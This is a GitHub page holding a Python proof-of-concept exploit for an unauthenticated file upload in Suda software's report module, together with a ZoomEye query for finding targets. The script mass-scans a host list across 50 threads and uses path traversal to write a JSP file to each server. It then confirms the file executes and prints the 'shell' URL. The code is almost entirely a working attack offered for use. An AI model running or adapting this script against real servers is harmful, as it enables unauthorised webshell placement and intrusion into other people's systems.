-
Notifications
You must be signed in to change notification settings - Fork 74
/
Copy pathSuda_Report_FileUpload_Poc.py
68 lines (63 loc) · 2.23 KB
/
Suda_Report_FileUpload_Poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python3
# -*- coding:utf-8 -*-
# author:MDSEC
# from:https://github.com/MD-SEC/MDPOCS
# app="速达软件-公司产品"
# zoomeye:速达软件 +port:"8083"
import sys
import requests
import csv
import urllib3
import hashlib
from concurrent.futures import ThreadPoolExecutor
if len(sys.argv) != 2:
print(
'+----------------------------------------------------------------------------------------------------------+')
print(
'+ DES: by MDSEC as https://github.com/MD-SEC/MDPOCS +')
print(
'+----------------------------------------------------------------------------------------------------------+')
print(
'+ USE: python3 <filename> <hosts.txt> +')
print(
'+ EXP: python3 Ruijie_NBR_FileUpload_Poc.py url.txt +')
print(
'+----------------------------------------------------------------------------------------------------------+')
sys.exit()
proxysdata = {
'http': '127.0.0.1:8081'
}
requests.packages.urllib3.disable_warnings()
def exp(host):
if "http" in host:
url = host
else:
url ="http://"+host
host1=url.replace("http://","")
host2=host1.replace("https://","")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0",
"Host": "%s" %host2,
"Content-Type": "application/octet-stream",
"Accept-Encoding": "gzip, deflate"
}
vulurl = url + "/report/DesignReportSave.jsp?report=../test.jsp"
data='<% out.print("kkttxx");%>'
try:
r = requests.post(vulurl, data=data,headers=headers,verify=False)
r2 = requests.get(url+"/test.jsp")
if "kkttxx" in r2.text :
print("shell地址为:"+url+"/test.jsp")
else:
return 0
print (host+":false")
except:
return 0
print (host+":false")
if __name__ == '__main__':
file = sys.argv[1]
data = open(file)
reader = csv.reader(data)
with ThreadPoolExecutor(50) as pool:
for row in reader:
pool.submit(exp, row[0])